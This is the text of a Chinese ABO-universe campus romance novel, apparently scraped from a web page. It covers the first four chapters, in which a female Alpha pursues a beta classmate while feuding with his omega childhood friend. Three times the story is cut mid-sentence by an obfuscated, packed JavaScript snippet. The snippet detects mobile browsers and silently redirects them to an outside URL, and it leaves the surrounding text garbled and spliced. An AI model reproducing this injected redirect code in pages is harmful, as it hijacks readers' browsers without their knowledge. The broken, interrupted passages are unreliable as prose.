《情敌怎么缠上我了[GB]》 1. 球场邂逅 B大寝室楼A栋608。 孟初欢正在应付孟大总裁这个月打来的第五通催婚电话。 “妈,我真的真的真的……一点都不喜欢许千星,你能别再瞎凑合我跟他了吗?” 孟初欢说完这句话,极有先见之明地把手机从耳边拿远了。 果不其然,下一秒手机听筒里传出一声河东狮吼:“孟初欢!” “我管你喜不喜欢许家那小子!除非你有对象了,否则暑假必须回来订婚!” “不然你就等着银行卡被冻结吧!还治不了你个小兔崽子了!” “嘟嘟嘟——” 孟初欢张了张嘴,一个字都还没说出来就被突然响起的电话忙音掐住了话头。 她只能闭上嘴关掉了手机。 “又是催你回去订婚?”发小兼室友的赵沫摇着头啧了几声,拍上孟初欢的肩膀:“伯母逼得这么紧,要不……你就从了吧?” “或者……”她摸着下巴,“我也不介意跟你假扮一下情侣。” 说完顿了几秒:“前提是伯母伯父能接受你是个A同。” 孟初欢瞥她一眼,表情肉眼可见的嫌弃,眼神里还夹杂着一丝玩味。 “我很清楚我不是A同,但你是不是我就不清楚了。” 赵沫:“……” 搬起石头砸了自己的脚。 “我铁直!只喜欢omega连beta都不考虑的那种直!!!” 孟初欢忽略掉赵沫在耳边叽叽喳喳论证自己是铁直Alpha的声音,从书架里翻出一本图书,这本书她已经借了一个月,明天到期,她今天得去图书馆把书还了。 “等等——”察觉孟初欢意图的赵沫在自己的书架上翻箱倒柜,废了九牛二虎之力才找出来一本书——是她之前“学性未泯”时从图书馆借的,也不知道已经借了多久,反正肯定逾期了。 “我也去还书!” 去图书馆要经过篮球场,有不少人在场上挥汗如雨地传球投篮,周围时不时传来一声声喝彩。 孟初欢和赵沫一边走一边聊天,没注意到后方空中有一颗高速运行的篮球,目的地是她的后脑勺。 “——啪” 是手掌接触篮球的声音,也许因为截球的人用力比较大,这声“啪”也格外清脆响亮。 孟初欢和赵沫同时回头,看见一张额发汗湿的脸,晶莹的汗珠沿着脸颊曲线聚到下巴又坠到地上,青春而张扬的气息扑面而来。 有点眼熟,好像在哪儿见过。孟初欢打量了面前的男生几眼,心想。 “同学,球没砸到你吧?”男生开口关切地问孟初欢,清亮的声音因为剧烈运动有些气喘。 “如果你不出现,那估计就要砸到了。”孟初欢轻笑着说。 场内有人在叫男生,他回头喊了句:“马上!” 又转头对孟初欢说:“没砸到就好,那我回去继续打球了!” 等男生回去之后,孟初欢朝篮球场中央看了几眼才收回视线,她问赵沫:“有点眼熟,你认识吗?” 赵沫:“……” 她无语住了,过了几秒才满脸无奈地说:“陈百川,要不你说眼熟呢——” “同班同学能不眼熟吗?!” 赵沫把手搭上孟初欢的肩膀捏了捏:“我的孟大小姐诶,都大三下了,你对人家的印象居然还只停留在有点眼熟这个层面,你的脸盲是不是变严重了?” 孟初欢微微一笑,把赵沫搭在肩上的爪子无情拍了下去,“没事,我现在记住了。” 女Alpha把“陈百川”这三个字在唇齿间转了一圈,数秒后,她眉梢一挑,抬眸再次往球场中央看去:“赵沫,也许——” 她拖着尾音,等赵沫看过来时唇角轻勾,意味深长道:“我暑假可以不用订婚了。” 赵沫:“?” 因为某位总裁大人发火的声音太响亮,即使孟初欢没开免提她也把寝室那通电话听了个清清楚楚——除非有对象,否则孟初欢必须订婚。 “呃,友情提示一点。”赵沫无情戳破发小的幻想:“——你还是只单身汪。” 孟初欢不在意地笑笑:“现在是不代表以后也是,追个对象而已,能有多难。” 赵沫:“追?你要追谁?” 问出口她才意识到不对劲,她顺着身旁女Alpha的视线看过去,目光一点点锁定在球场中肆意张扬的男性beta身上。 !!! 大脑宣告宕机,赵沫风中凌乱,她骂了个脏字,目瞪口呆道:“难不成是——陈百川???” “三年了你连人家长什么样都记不住,就因为今天他帮忙挡了个球没让你脑震荡,你就动心了?” “确定不是因为易感期临近你受了激素支配?或者……你单纯不想订婚,所以随便找个人追一下?” 虽然情绪激动,但赵沫声音却很小,不然声音大了她怕孟初欢会把她当篮球扣在篮筐上。 针对室友一连串的发问,孟初欢只是抬眸淡淡地瞥了面前五官乱飞神情激动的女Alpha一眼,“你懂什么,这叫一见钟情。” 赵沫:“别欺负我数学差,你俩今天又不是第一次见面,不能用一见钟情这个词吧?” 是不是一见钟情已经不重要了,重要的是——单了二十二年的孟大小姐终于铁树开花,遇到了那个能触动她铁石心肠的ome……呸,beta。 —— 路亦然抱着一件黑色的外套站在篮球场外围,看见熟悉的身影朝自己走来,他双眼微弯,把怀里的黑衣递出去:“百川哥,现在才三月,你怎么外套都不带一件就来打球了,小心感冒。” “要不是上次你借我的那件我洗了还没还你,你就只能冻着回寝室了。” 球赛已经结束好一会儿了,陈百川搓了搓胳膊,确实感觉到有些冷,他接过外套三两下套上,又接过路亦然递过来的湿纸巾擦了擦脸上的汗,垃圾团成团一个两分球扔进了场边的垃圾箱。 陈百川朝邻家弟弟眨了眨眼:“帮我把感冒赶跑了,这么大的恩情,是得好好感谢一下小然才行。” “嗯……昨天看见你发朋友圈说馋火锅了,那我就请你吃顿火锅,行不行?” “行!就去南门那家,想好久了!” 路亦然低头看了眼陈百川身上的球服短裤,“百川哥,你先回寝室换条长裤吧,我在楼下等你。” 两人边走边聊,聊着聊着,路亦然想起之前球场上那颗突然飞出去的篮球,“百川哥,篮球没砸到人吧?” 陈百川笑了下:“多亏了你在场外提醒我,要不然就真的砸到人了。” B大的宿舍楼很是言简意赅,Alpha,beta,omega分别住在A栋,B栋和O栋。 到了B栋楼下,陈百川上楼换裤子,路亦然则绕着楼下的银杏树一边把散落出来的石子踢回树坛一边接通备注为“段昌宏”的电话。 “喂,有屁快放,我还要忙。” 不同于跟陈百川说话时的乖巧柔软,路亦然此刻的声音冷漠且带着一丝不耐烦,这种语气自然而然引爆了对面的炸药桶。 “路亦然!有你这么跟自己老子说话的吗?!” 路亦然闻言掏掏耳朵,嗤笑一声,“段总诶,年纪大了老年痴呆记不住事很正常,那我就再提醒你一次,我爸——在我妈离开那天就已经死了。” “而你……” omega眼底闪过愤恨和怨怼,“呵,配吗?” 听筒里传出明显的呼吸声,估计是在平复被激怒的情绪。 过了一会,路亦然才听到对面问:“你有什么好忙的?四月十号是你弟弟的成人宴,记得带上礼物回来。” 余光瞥见从寝室楼里出来的陈百川,路亦然眼里的冰霜消解,他随口道:“忙着吃火锅呢,下个月没空回不来,挂了。” 说完没等对面吐出一个字,就飞快挂断电话顺便把人拉进黑名单,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628388|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么时候心情好了再放出来。 然后朝走过来的陈百川露出一个笑:“百川哥,走吧,我肚子都要饿扁了。” 陈百川眉头一挑:“真的?那待会儿多吃点,今天的篮球赛赢了有奖金,不用替我省钱。” —— 寝室楼A栋608。 赵沫正悠哉悠哉打着游戏,却猝不及防被塞了一部手机在手里,她瞪着眼睛看向一旁神情淡定的室友,用口型问:“干嘛?打游戏呢!” 孟初欢没说话,只是示意她看一眼手机上的备注。 ——“妈” 赵沫一个手滑,游戏里的小人一个滑铲和敌方的大招脸贴脸,吧唧一下小人血量清空倒了下去。 她小心翼翼地举起手机靠近耳朵:“伯母好,我是赵沫。” 专心致志听对面说完话,赵沫瞅了孟初欢一眼,收到她的眼神示意后才开口说:“初欢没骗您,她确实有了喜欢的人,而且这段时间正在起早贪黑地追人呢!” 对面又说了几句常规的问候,赵沫嗯嗯哦哦了几声就把手机还给孟初欢,然后饶有兴味地抱着手臂靠在一边看孟家母女打电话。 孟临:“我听小沫说你正在追人,追到了吗?” 孟初欢提起水壶给阳台上的盆栽浇水,“还没。” 孟临在电话里嫌弃地啧了几声,“别以为我不知道你打的什么主意,要是追不到人,这婚你照样得订。” “不过——”孟大总裁怀疑道:“你知道怎么追人吗?需不需要我传授你一些经验?” 孟初欢浇水的动作一顿,随即毫不客气地笑了一声,“妈,是什么给了你‘你的经验具有参考价值’的错觉?” “我没记错的话,我爸好像从高中就暗恋你了,结果你都大学毕业好几年了才把人追到手,由此可见嘛……” 孟初欢把水壶放回原位,“你还是不要给我传授经验的好,就让我自由发挥吧。” 她很清楚,母上大人的那些经验如果打印下来,大概……咳,用来擦屁股都嫌硬。 赶在孟临出口成脏之前,孟初欢快准狠地挂断了电话,徒留远在网线另一头的孟大总裁对着空气无能狂怒,然后被自己的omega用一个亲亲哄好。 挂完电话,孟初欢看向一边看热闹的赵某人,“他的微信,推给我。” 赵沫眨眨眼,一时没反应过来,“谁的?” 过了好一会儿,她才一个醍醐灌顶意识到孟初欢说的是谁。作为班长,她当然有班上很多同学的微信,好巧不巧,陈百川就是这些同学之一。 班长就是班长,办事效率不用质疑,怕陈百川不同意孟初欢的好友申请,赵班长巧妙地运作了一番,总算让孟大小姐在寝室熄灯前加上了心上人的微信。 孟初欢在备注栏板板正正地敲下“陈百川”三个字,然后归入“同学”分类。 才分好类,提示栏显示微信来了一条新消息,孟初欢点开一看:是她三年前阴差阳错之下加的一个网友发来的。 这个网友和她一样很喜欢音乐,更重要的是——网友和她一样也是弥森的粉丝。 同担之间的友谊来得太快就像龙卷风,两人加上之后聊音乐,聊弥森,聊天南地北,偶尔也会分享一些不好在认识的人面前提起的小秘密。 网线让两人之间有了不可忽视的距离,但与此同时也在一定程度上缩短了她们之间的距离。 小鹿不迷鹿:【五月份B市瓦兰音乐厅有个音乐会,听说弥森要在音乐会上拉她新出的曲子,我记得你好像就在B市,我这有两张票,要不要我分你一张(猫咪探头.jpg)】 傻子才说不要,孟初欢不是傻子。现场看弥森拉曲子的机会可不多,而现在这泼天的富贵终于轮到她了。 M:【要,谢了[/微笑]】 小鹿不迷鹿:【(图片)】 小鹿不迷鹿:【这是取票码,我去睡觉了,晚安嗷zzz】 M:【晚安】 2. 楼下送餐 今天周二,课表上一整天都没课,陈百川本可以睡个懒觉,只不过今天是篮球社招新的日子,他这个副社长必须得到场。 因此早上七点,他就被昨晚定好的闹钟给叫醒了。 洗漱完下楼,先去食堂吃个早饭再去社团,陈百川是这样打算的。 “陈百川。” 陌生的声音涌入耳道,陈百川朝声音源头看去—— 孟初欢? 陈百川走过去几步,问:“孟同学,是你在叫我?” 孟初欢:“嗯。” 说完递出手里的袋子,“多谢你之前帮我挡了篮球,请你吃顿早饭不过分吧?” 女Alpha嘴角挂着淡淡的笑,眼神里恰到好处地含着一丝感激和期盼,搞得陈百川都不好意思拒绝人了。 他只好接过袋子,“呃……不过分。” “你是去篮球社吗?”孟初欢送完早餐,顺理成章和陈百川并排走着,边走边说:“我室友也在篮球社,社团今天招新,她叫我过去帮忙。” 陈百川能闻到手里袋子散发出的淡淡番茄味,这让他没了打开袋子的欲望,只是一味地拎着,顺便回孟初欢的话:“对,我是要去篮球社。” 身旁的女Alpha很快接过话茬,“既然都是去篮球社,那咱们可以一起过去。” 陈百川:“好。” 走到O栋寝室楼楼下时,孟初欢见陈百川依旧没有打开袋子吃早餐的迹象,刚想开口问,就被一声突如其来的“百川哥”打断思绪。 只见一个黑发白肤的男omega小跑着从O栋寝室楼出来,几步就到了陈百川身侧。 男生先是看了眼陈百川身旁的陌生女Alpha,又看了看陈百川手里提着的早餐袋子(他认出来是学校食堂装煎饼果子的袋子),鼻间浅淡的番茄味让路亦然明白—— 这煎饼果子不是陈百川自己买的……至于他身边那个一看就居心不轨的臭女Alpha…… 哼!买个早餐都能买到百川哥最讨厌的口味,还想跟他抢人,门都没有! 情敌见面,分外眼红! 路亦然一下子就被激发了斗志,他悄悄挑衅地看了那边的女Alpha一眼,视线对上的瞬间路亦然清楚地知道: 自己没有猜错!这个臭女Alpha果然对百川哥心怀不轨,关键是即便作为情敌,路亦然也不得不承认这个女Alpha的确很有跟自己抢人的资本(单指外在形象)。 高他半个头的身高压迫感十足,肩宽腰窄,脸更是不必多说,一双狭长的狐狸眼不笑都自带挑逗,一笑起来则更是风情万种,逗弄调情的意味无边蔓延,能撩得BBOOA同心脏砰砰直跳。 好看又怎样!他也很好看好吧,而且还是百川哥亲口认定的好看! 虽然情敌(外貌)资本傲人,但路亦然并没有被吓退,反而雄邹邹气昂昂地瞪了情敌一眼。 然后趁陈百川没发现赶紧把能发射刀子的视线收了回来,状似不经意地看向陈百川手里的早餐袋子—— “百川哥,这是什么呀?” 陈百川:“孟同学给我带的早餐。” 路亦然眨眨眼,“哦,好香啊!是煎饼果子吗?” 陈百川这下不得不打开袋子看了一眼,又痛苦收回视线屏住呼吸:“……是。” 而且里面还抹了番茄酱。 路亦然只往袋子里面看了一眼就捂住嘴巴,徒留一双圆溜溜的小鹿眼瞅瞅袋子,又瞅瞅孟初欢。 “呃……百川哥,你让她带早饭的时候没跟她说不加番茄酱吗?明明你最讨厌番茄味了。” 说完还看着早餐袋子嫌弃巴巴地皱了皱鼻子。 孟初欢:“……” 雷达一响,情敌登场! 亏她还觉得这个男omega长得挺漂亮,哪怕是她这个看过美人无数的脸盲症患者也不得不承认:路亦然外形条件确实优越,近一米八的个子在omega里面已经算是高的,腰细腿长盘靓条顺,精致的五官点缀在瓷白的一张小脸上,明媚又惹眼。 尤其是那双如湖水一般清透明亮的小鹿眼,雾蒙蒙又带着星星一样的光,楚楚动人我见犹怜。 但是,当她站在情敌的立场上时,漂亮就不是一个可以夸赞的点了,好在她自己长得也毫不逊色,没有未战先输。 “你讨厌番茄味?”孟初欢对某个戏瘾大发的漂亮花瓶视而不见,只是一味地抓紧机会和陈百川说话加深接触,“这次是我的错,不过你放心——” 孟初欢挑眉一笑,有意无意地瞥了某个正在瘪嘴的男omega一眼,“以后我不会再犯这种错了。” 以后? 你还想有以后?! 路亦然骤然瞪圆了眼睛,眼神化作滚滚刀子朝孟初欢涌去,他干脆拿过陈百川手里的早餐袋子,“百川哥,扔了太浪费,既然你不吃我就帮你解决了吧。” 说完没等陈百川反应就打开袋子嗷呜一大口咬在煎饼果子上。 看他那个咀嚼的劲儿好像不是在嚼煎饼果子,而是在嚼什么让他觉得苦大仇深的东西。 针对路亦然无能狂怒的行为,孟初欢只是付之一笑,问陈百川:“这是你弟弟?” “嗯,他叫路亦然。” 话落,陈百川发现本就咀嚼困难的路亦然好像被噎得更难受了,他抬手帮他顺了顺背,又从背包里拿出一瓶水打开递给他,“慢点吃,又没人跟你抢。” 路亦然好不容易咽下那一大口煎饼果子,他接过陈百川手里的水,咕咚咕咚灌了几口,等食道里的食物被水推着下肚后,才瞪着孟初欢强调了一句:“不是亲的!” 孟初欢笑得很欠揍:“哦~” 管你是不是亲的,她并不关心两人之间的血缘关系,她只需要清楚一点:既然陈百川承认路亦然是他弟弟,那他们就不是情侣关系,她和路亦然就可以公平竞争,自己也不是插足别人感情的第三者。 路亦然早上有课,三人一起走到他上课的那栋教学楼,他的煎饼果子也吃的差不多,剩下那一点残渣被他连着袋子丢进了垃圾箱。 “路学弟有课的话还是快点上楼吧,只有三分钟就上课了,小心老师点到。”孟初欢看了眼手表,友情提醒路亦然。 路亦然在陈百川低头和别人发消息的时候狠狠剜了孟初欢一眼,等陈百川发完消息又捏住beta的一点袖子边摇了摇。 “百川哥,中午我来篮球社找你一起去吃饭,你一定要等我啊,千万不要被某些闲杂人等拉走了!” 说话时,他的目光频频往“某些闲杂人等”那儿瞟。 孟·闲杂人等·初欢:“……” 这就是路学弟多虑了,她和赵沫还有另一个发小林镜早就约好了今天中午一起出去聚餐顺便在外面玩一下午,实在没工夫和路亦然勾心斗角。 就算千不舍万不愿,路亦然还是在离上课只有一分半时不情不愿地上了楼。 没事的没事的,她只是百川哥不熟的同班同学,怎么可能比得上自己和百川哥这么多年的感情! 路亦然边上楼边在心里安慰自己,进入教室后,他心底的纷繁思绪全被严肃的课堂氛围压下。 —— B市吃的地方和玩的地方都很多,孟初欢、赵沫和林镜她们跑了不少地方,吃喝玩乐一个都没落下。 林镜要比孟初欢和赵沫大两岁,已经接手管理家里的公司,刚才被她的助理开车接走了。 孟初欢揉了两下在KTV里饱受赵沫魔音贯耳的耳朵,又活动手臂松了松筋骨,一把揽过赵沫的脖子箍住。 表情似笑非笑:“要不是看在咱俩从小认识的份上,我早把你毒哑了。” 作为一个音乐迷,赵沫的歌声在孟初欢听来连“呕哑嘲哳难为听”的程度都达不到,难听到简直称得上是人类早期训练声带的教学音频。 “咳咳咳……”赵沫装模作样地咳嗽几声,却感觉到脖子上没有多重的力道突然变轻,她疑惑地撇头看了孟初欢一眼,又顺着她的视线看向马路对面的B市第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628389|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人民医院。 “看见熟人了?”赵沫问出来。 孟初欢松开手里的脖子转了了两下手腕:“有点像。” 赵沫喔了一声,“就你这个脸盲的程度,有点像约等于不是。” 孟初欢想想也是,就早上见了一面,她的脸盲也不可能突然痊愈,刚才从医院出来那个男生应该不是路亦然。 自己这个有重大威胁的情敌不在,他怕是正在抓紧时间跟他的百川哥黏在一块,哪里会来什么医院。 而且人看着也不像有什么病的样子。 …… 给患者做完熟悉的腺体检查,秦医生摘下手套,“情况很稳定,这说明人造Alpha信息素对你是有效的并且不会引发副作用。” “腺体里信息素浓度超出正常值很多,你的发情期是不是快到了?” 路亦然整理好衣领,想了想他上次的发情期时间,“应该是,最近有时候会觉得腺体发热酸胀。” 秦医生点点头:“那就是了,发热酸胀是典型的发情期前兆,你记得提前准备好抑制剂和人造Alpha信息素。” “如果抑制剂还是没用的话,就用人造Alpha信息素。” 很早之前,路亦然就是秦医生的患者了。 这么多年过来,除了基因带给他的无法祛除的病灶,他的身体状况比大多数人都要更健康。 直到两个多月前,一个男性beta抱着昏迷的路亦然闯进了他的诊室。 秦医生检查过后并没有发现什么大问题,路亦然昏迷只是因为腺体承受不住过量的人造Alpha信息素。 等路亦然醒来后他才了解到始末,原来是路亦然的发情期提前,而往日从不出错的抑制剂却突然失效。 好在被汹涌的情.欲折磨到心神迷乱前,他翻出了三支人造Alpha信息素,并且把三支全注射到了腺体里。 然后他就昏迷了,再次醒来就是在医院。 路亦然将秦医生的叮嘱记在心间,回学校后他忍不住摸了摸腺体。 又热,又胀,像被信息素灌满了。 蹙了蹙眉,他呼出一口气,决定在学校里闲逛一会儿放空大脑。 逛着逛着,他发现自己逛到了音乐教室。 确切地说是被里面传出的琴声给吸引过来的。 他走到窗口透过玻璃往教室里面看,看身形是个女性Alpha,背对着他在拉小提琴,流畅的琴音从她指下缓缓淌出,酒香一样轻盈又令人沉醉。 路亦然不知不觉听入了迷,浑然不觉教室里面这个背影有些似曾相识。 直到里面的女Alpha拉完一首曲子转过身来,一眼就看到了扒在窗口偷听偷看的某人。 路亦然:!!! 怎么是她?! 他像只受惊的小鹿一样赶紧缩下身子,蹑手蹑脚离开了这间音乐教室外面的走廊。 走远后,路亦然拍拍胸口,站在这层楼的楼道口悄咪咪看孟初欢从音乐教室出来没。 她看到了吗?应该没有看到吧?被情敌发现偷听她拉曲子什么的,即便以他的脸皮厚度也有些承受不住。 路亦然在心里叽里咕噜说了一大堆,终于看到孟初欢从教室里面出来,往另一边的楼梯走去。 路亦然大松了口气,看来是没有发现……! 他一个大喘气把伸出来的脑袋缩回了墙壁后面。 啊啊啊啊啊!她怎么突然转身啊!!! 她应该没发现吧?! 任凭路亦然如何头脑风暴,孟初欢都是不能回答他的了。 在路亦然拧着眉绞尽脑汁思考她有没有看到他时,孟初欢已经背着心爱的小提琴离开了音乐教室所在的这栋楼。 她确实看到了窗户外面有个脑袋在偷偷摸摸听她拉琴,也确实看到楼道口那儿有个鬼鬼祟祟的家伙在悄悄看她,但是…… 谁让她脸盲呢! 眨眼一过的容貌并没能让她记起早上那个萍水相逢的情敌的脸。 3. 代课风波 任何一所大学都有水课,B大也不例外。大三下学期,经管系的专业课基本已经上完了,每周仅有的两三节课大都是不需要花太多心思的水课。 而大学生应对水课的方式就多种多样了,有的不管不顾直接逃课,有的绞尽脑汁找理由从辅导员那里骗请假条,有的花钱找同校的人帮自己代课,当然大部分学生还是会乖乖去教室上课。 路亦然碰上了第三种方式,不过他是帮人代课的那个,并且免费。 陈百川临时有急事,又没有提前从辅导员那儿打请假条,加上经管系这门水课的老师每节课都要点到,他只能求助没课的路亦然帮自己代课。 不巧的是这节水课是上午第一节,陈百川打电话拜托路亦然的时候后者还在床上。 当路亦然一路飞奔气喘吁吁站在教室门口时,里面几乎坐满了人,尤其是后面几排一个空位都没有。 这意味着他只能捡前面的位置坐,同时被老师发现的概率也会增大。 还好他早有准备,穿了一件带着兜帽的灰色卫衣,兜帽正戴在他头上,脸上还带了一个黑色口罩。 这样老师总不会发现了吧。 平定呼吸,路亦然走进教室挑了个第四排中间的位置坐下,他倒是想坐在靠边的位置,可惜没有空位。 坐定后他朝右手边瞄了一眼(左手边没坐人),又垂头看看自己面前空空如也的课桌,忽然意识到一个问题: 他没有书。 别说书了,出寝室门的时候太急他连背包都没带。 路亦然只能在心底祈祷,希望这门课的老师不会检查学生带课本的情况。 差点迟到的不止路亦然一个,孟初欢记错了日期,以为今天早上没课,理所当然要睡到自然醒。 还好赵沫头天晚上定了闹钟,只不过响了有四五次才把她从睡梦中拉出来,两人飞快洗漱完,连早饭都没来得及吃就往教室跑,总算是没有迟到。 才刚坐好没多久,孟初欢就发现自己身边的空座上坐了一个人。 头脸包得严严实实的,一看就是来帮人代课的。 她这么想着,就对上了一双略有熟悉的小鹿眼。 下一瞬,小鹿眼里闪过震惊,然后是嫌弃,接着孟初欢发现她的同桌悄悄挪着屁股离自己远了些。 孟初欢:…… 很好,她知道这双眼睛是谁的了。 所谓冤家路窄,大抵如此。 上课铃响过,老师果然拿起花名册开始点到。 点到陈百川的名字时,孟初欢看到她的同桌举起一只手,微垂的脑袋被兜帽和口罩挡了大半,一声刻意模仿的“到”响在耳边。 像只藏在树丛里的小鹿,只露出头上的尖角。 老师在前面讲课,同学在下面玩手机的玩手机,写作业的写作业,各干各的没多少人在认真听讲。 路亦然属于玩手机的那类,毕竟他浑身上下除了一部手机也没有其他的东西了。 在微博上吃瓜正吃得上头,化身瓜田里的猹的路亦然却好像听到了“陈百川”三个字,他一个激灵抬起头—— “陈百川是哪位同学?起来读一下九十二页的第三段话。” “是没来上课吗?” 路亦然嗖得一下站起来,“老师,我在!” 老师推了下眼镜,并没有对他脑袋上的兜帽和口罩提出什么意见,“请你读一下书上九十二页的第三段话。” 路亦然:…… 他低头看看一贫如洗的课桌,再看看旁边课桌上那本好似发着金光的课本。 牙齿渐渐咬紧了。 孟初欢看热闹不嫌事大,一直玩手机的她此刻也放下了手机,却没有丝毫要帮助同桌的意思,上挑的狐狸眼看着路亦然好似在说: 想要书?你求我啊! 情况危急刻不容缓,路亦然再不情愿也只能求助情敌。 他吸了口气,朝右边伸出手。 孟初欢感觉到袖子被人扯住摇了摇,就和这人之前拉陈百川袖子撒娇时一个样。 她一挑眉,从善如流把已经翻到九十二页的书推到情敌面前,顺便贴心地给他指了要读哪一段。 课堂抽问总算有惊无险地过去,刚好下课铃响,中间有五分钟的休息时间,老师出去了没在教室。 路亦然坐下后把书推回去,扭捏了好几秒才低低说了两个字:“谢谢。” 孟初欢微笑,“我毕竟不是什么吝啬的人,你都求我了,哪还有不帮的道理?” 话音刚落,她就看见那双小鹿眼瞪圆了,明显气冲冲的,让她怀疑他是不是下一秒就要用他头上隐形的小鹿角撞自己。 课间休息五分钟,是上厕所的好机会,路亦然坐在中间靠右的位置,需要给出去上厕所的人让出空间。 他侧坐着并拢腿,身子后仰靠在椅背上,身体前方腾出了足够一人通过的空间。 只是他没有想到…… “啊!” 一声低弱的惊叫,路亦然惊慌失措之下也不知抓住了什么,总之等他稳住身体的时候就已经趴在情敌身上了。 ……他这个座位的椅子是坏的,难怪没人坐。 正常坐姿不会有什么影响,但只要侧坐椅子上的板子就会翻,椅子上的人就会落到当众摔个狗吃屎的下场。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628390|172497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 路亦然没有摔个狗吃屎……但还不如摔个狗吃屎呢! 他头上的兜帽已经因为动作幅度过大而掉了下去,脸上只剩了个黑色的口罩。 当情敌黑沉沉的目光看过来时,他立刻就要从她身上下去,只是动作间膝盖又碰到了椅子支架,疼得他拧眉抽了口气。 “我不是故意趴你身上的!”路亦然边解释边七手八脚地从孟初欢身上下去。 然而不知是不是因为他和孟初欢天生犯冲,这次他没有磕到碰到,但是着急忙慌之下手却按到了什么不该按到的东西。 ——沉睡状态下的彼此都有的东西。 两人的表情都是一僵。 孟初欢额头突突地跳,眉间皱起眼头压得很低,狐狸眼无端显得有些凶。 她握住路亦然的一截小臂,一开口就是略带沙哑的声音:“还不下去?” 路亦然黑色口罩下的脸早已烧得通红,他飞快撤回犯了大错的手掌,这次没再出错安全地从孟初欢身上下去了。 但……手心里残存的温度和触感都在提醒他,他刚才到底碰到了什么东西。 “我、我换个座位!”路亦然头也不抬地转移阵地,坐到了前面一排的空位上,刚好是孟初欢的侧前方。 她在心底叹了口气,默默调整坐姿遮挡某个不分场合胡乱升旗的家伙。 不知道是不是易感期临近身体变得敏感的原因,刚才路亦然趴过来的时候,她在他身上闻到了一股浅淡的兰花香,轻而易举就勾起了她的一丝绮念。 偏偏情敌又不知轻重地给她再添了一把火,这下好了,火彻底熄不下去了。 孟初欢并不知道那股撩人心弦的兰花香是路亦然信息素的味道,而只有信息素契合度达到70%以上的AO才能在不主动释放信息素的情况下闻到彼此的信息素。 70%——对于大多数人来说已经是一个不低的契合度。 后半节课,两人都没了玩手机的心思,路亦然一张脸依旧红扑扑的,好在被口罩挡住没人能看见。 他正在想情敌平时用的是什么味道的香水,有点像薄荷,又不像其他薄荷味那么冲,怪好闻的。 他可以买来自己用,也可以送陈百川。 孟初欢也在走神,漫无目的的目光最后落到侧前方。 没了兜帽的遮挡,她看到情敌后颈上贴了一张防溢贴。 圆形的白色防溢贴贴在omega白皙细腻的皮肉上,隐约可见底下腺体微凸的弧度。 好似一旦没了这层遮挡,整间教室都会是他信息素的味道。 喉结上下一滚,孟初欢无端觉得有些口干舌燥。 4. 食堂会师 代课事件后,两人本就不睦的关系雪上加霜,简直势同水火,或许还要在情敌的基础上加一个死对头。 陈百川不瞎,自然能看出来他的同班同学和自己的邻家弟弟互相看不顺眼,只要待在同一个空间里,不是互相扔眼刀子,就是你一言我一句地彼此阴阳。 陈百川被夹在中间简直一个头两个大,只能尽量不让两人碰头,奈何他并不明白情敌之间的恩恩怨怨不是他这个被两方争夺的B颜祸水可以左右的。 任他使劲浑身解数,两个人都还是三天两头地暗自掐架,硬生生掐出了股“不是你死就是我亡”的气势。 学校食堂。 陈百川刚端着打好的晚饭坐好,对面就落座了两个熟人,只不过熟人之间隔了一个座位。 陈百川:…… 不是吧?他都已经专门错开饭点来吃饭了,难道他们三个真有这么心有灵犀一点通?! “百川哥,我打了你爱吃的奥尔良鸡腿。” 一个色香味俱全的鸡腿被夹进了陈百川的餐盘里。 “食堂阿姨多送了我一个烤猪蹄,之前看你挺喜欢吃的。” 一个色泽红艳撒上了香辣烧烤料的猪蹄和奥尔良鸡腿贴在了一起。 陈百川:? 他看了看自己餐盘里堆成小山一样的食物…… 不是!你们喂猪吗?! 他叹了口气,“这么多,我真吃不下,你们也不希望我撑死吧?” 他们来得晚,食堂本就没多少菜了,陈百川运气好抢到了最后一份照烧鸡排饭,情敌组就不太行了,两个人餐盘里几乎全是素菜,零星点缀着几块肉粒。 清汤寡水让人毫无食欲。 路亦然悄悄瞥了眼对面餐盘里的那只烤猪蹄,唔……算起来他有好久都没有吃过烤猪蹄了,也不知道现在味道变了没有。 撒满了烧烤料一看就很好吃,他默默咽了口口水。 有句古话说得好,识食物者为俊杰,他路亦然现在就要当这个俊杰了。 “那我就不客气啦!” 伴随着一声略显欢快的鹿鸣,孟初欢眼睁睁看着情敌夹起那只奥尔良鸡腿放到了她的餐盘里。 “看你瘦的,多吃点肉好长身体。” 孟初欢:“?” 也许你该去配个眼镜。 接着她就看到那只烤猪蹄被一只小鹿爪子给薅进了餐盘里,几分钟后,大饱口福的某只馋嘴鹿不吝夸奖:“好吃!” 啃完鸡腿的孟初欢擦擦嘴,鸡腿味道也不赖。 对于陈百川来说,这称得上是一次和平的就餐体验,没有眼神飞刀,也没有唇枪舌战。 